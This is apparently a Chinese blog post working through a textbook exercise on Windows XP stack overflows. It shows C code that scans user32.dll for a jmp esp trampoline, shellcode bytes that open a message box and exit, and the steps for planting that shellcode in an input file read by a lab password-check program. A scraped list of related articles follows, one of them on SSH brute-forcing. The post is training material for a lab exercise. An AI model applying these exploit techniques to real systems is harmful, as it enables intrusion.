3.2 定位shellcode
前言
此帖为 0day_2th 一书第三章实践不完全记录。
流程记录
searchAddr.c 文件:
#include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" main() { BYTE* ptr; int position, address; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { // 0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x\n",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } }将searchAddr.c文件在vc6.0中编译运行。产生的.exe文件我们放到OllyDbg调试。运行我们自己编写程序搜索跳转地址得到的结果和 OllyDbg 插件搜到的结果基本相同,如图 3.2.5 所示。

图3.2.5 Olly Dbg搜出的“跳板”与程序搜出的“跳板”地址
此处不妨以 0x77d92c08 (等同于书中的 0x77DC14CC)作为定位 shellcode 的“跳板”。
使用dependency walker获得ExitProcess函数入口地址 0x7c81cdda。

图 3.2.6 计算 ExitProcess 函数的入口地址
shellCode.c 文件:
#include <windows.h> int main() { HINSTANCE LibHandle; char dllbuf[11] = "user32.dll"; LibHandle = LoadLibrary(dllbuf); _asm{ sub sp,0x440 xor ebx,ebx push ebx // cut string push 0x74736577 push 0x6c696166 // push failwest mov eax,esp // load address of failwest push ebx push eax push eax push ebx mov eax,0x77d5058a // address should be reset in different OS call eax // call MessageboxA push ebx mov eax,0x7c81cdda call eax // call exit(0) } }将shellCode.c文件在vc6.0中编译运行。

点击确定按钮

可见程序可以正常退出了。
注:附一张地址对应表,书中的地址和自己虚拟机xp系统环境有出入,代码不能照搬书,需要稍作修改。你自己的环境与我的也许也不同,对应处修改即可。
作用 书中 实际环境 跳板 0x77dc14cc 0x77d92c08 ExitProcess入口地址 0x7c81cdda 同书中 MessageBoxA入口地址 0x77d804ea 0x77d5058a 为了提取出汇编代码对应的机器码,我们将上述代码用 VC6.0 编译运行通过后,再用 OllyDbg 加载可执行文件,选中所需的代码后可直接将其 dump 到文件中,如图 3.2.7 所示。

图 3.2.7 从 PE 文件中提取 shellcode 的机器码
现在我们已经具备了制作新 exploit 需要的所有信息。
(1)搜索到的 jmp esp 地址,用作重定位 shellcode 的“跳板”:0x77d92c08。
(2)修改后并重新提取得到的 shellcode,如表 3-2-2 所示。
表 3-2-2 shellcode 及注释
机器代码(十六进制) 汇编指令 注释 33 db xor ebx,ebx 53 pu push ebx 68 77 65 73 74 push 0x74736577 68 66 61 69 6c push 0x6c696166 8b c4 mov eax,esp 53 pu push ebx 50 pu push eax 50 pu push eax 53 pu push ebx b8 8a 05 d5 77 mov eax,0x77d5058a ff d0 call eax 53 pu push ebx b8 da cd 81 7c mov eax,0x7c81cdda ff d0 call eax 按照 2.4 节中对栈内情况的分析,我们将 password.txt 使用十六进制编辑器制作成如图 3.2.8 所示的形式。

图 3.2.8 在输入文件中部署 shellcode
现在再运行密码验证程序,怎么样,程序退出的时候不会报内存错误了吧。虽然还是同样的消息框,但是这次植入代码的流程和 2.4 节中已有很大不同了,最核心的地方就是使用了跳转地址定位 shellcode。运行结果截图如下

点击确定按钮后,正常退出。如下

Preference
0day-security-software-vulnerability-analysis-technology
https://www.cnblogs.com/wh4am1/p/6619073.html
[原创]《0day安全...(第二版)》第3章第4节开发通用的shellcode在win10系统下测试的问题
3.2 定位shellcode的更多相关文章
- OD: Universal Shellcode
本节讲如果开发通用的 Shellcode. Shellcode 的组织 shellcode 的组织对成功地 exploit 很重要. 送入缓冲区的数据包括: . 填充物.一般用 0x90 (NOP) ...
- 栈溢出原理与 shellcode 开发
ESP:该指针永远指向系统栈最上面一个栈帧的栈顶 EBP:该指针永远指向系统栈最上面一个栈帧的底部 01 修改函数返回地址 #include<stdio.h> #include< ...
- 开发shellcode的艺术
专业术语 ShellCode:实际是一段代码(也可以是填充数据) exploit:攻击通过ShellCode等方法攻击漏洞 栈帧移位与jmp esp 一般情况下,ESP寄存器中的地址总是指向系统栈且不 ...
- OD: Memory Attach Technology - Exception
看到第六章了:形形色色的内存攻击技术 异常处理结构体 S.E.H Structure Exception Handler S.E.H 是 Windows 处理异常的重要数据结构.每个 S.E.H 为 ...
- OD: Heap Exploit : DWORD Shooting & Opcode Injecting
堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是 ...
- CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)
CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...
- CVE-2012-0158基于exp分析
CVE-2012-0158这个洞我之前分析过,漏洞战争这本书里也写过,但是都是用poc分析的,我这次找了一个弹计算器的exp来分析,感觉用poc和用exp还是不一样的,从exp分析要比从poc分析更复 ...
- 《metasploit渗透测试魔鬼训练营》靶机演练之第五章实战案例KingView 6.53版本CVE-2011-0406漏洞
在一个笔记本上开两个虚拟机有点卡,而且太麻烦,就把metasploit的目标靶机放在别的机器上了,ip自己配置了一下, 目标主机:192.168.137.254 入侵机:192.168.137.253 ...
- CVE-2012-0158个人分析
CVE-2012-0158是一个比较有名的老漏洞了,这次从论坛上找到一个poc文件,利用这个poc来分析CVE-2012-0158漏洞的形成. http://bbs.pediy.com/showthr ...
随机推荐
- 牛客网数据库SQL实战(6-10)
6.查找所有员工入职时候的薪水情况,给出emp_no以及salary, 并按照emp_no进行逆序CREATE TABLE `employees` (`emp_no` int(11) NOT NULL ...
- topcoder srm 709 div1
1 给定一个长度为n的整数数组A,重排列数组A使得下面计算出的X最大:(n不大于15,A中的大于等于0小于等于50) int X=0; for(int i=0;i<n;++i) X=X+(X^A ...
- Flutter第1天--初始分析+Dart方言+Canvas简绘 - 云+社区
Flutter第1天--初始分析+Dart方言+Canvas简绘 - 云+社区 - 腾讯云 https://cloud.tencent.com/developer/article/1378974
- Hunter’s Apprentice 【判断多边形边界曲线顺逆时针】
问题 H: Hunter's Apprentice 时间限制: 1 Sec 内存限制: 128 MB 提交: 353 解决: 39 [提交] [状态] [命题人:admin] 题目描述 When ...
- tp框架中的一些疑点知识-4
$_SERVER的几个元素: script_name脚本名称, 是指这个脚本文件本身的文件名, 通常只是 : /index.php path_info: 是从控制器/操作方法开始到最后的内容,包括路径 ...
- php编程疑难解决-1
全局变量和超全局变量 如果是php脚本script 或php代码, 一定要放在 php标签内<?php ?> 内. 这样apache才会把他当做php脚本内容来解析, 才会去调用php模块 ...
- Python SSH爆破以及Python3线程池控制线程数
源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8 __author_ ...
- c# 进阶之 WebAPI
REST是设计风格而不是标准. webapi有自己的路由. webservice和wcf的协议都是soap协议,数据的序列化和反序列化都是soap的格式.而webapi是Json的数据传递 webap ...
- P3980 [NOI2008]志愿者招募
思路 巧妙的建图 因为每个志愿者有工作的时段,所以考虑让一个志愿者的流量能够从S流到T产生贡献 所以每个i向i+1连INF-a[x]的边(类似于k可重区间集),每个si向ti连边cap=INF,cos ...
- springBoot 全局异常捕捉
package cn.com.cs.core.exception; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import or ...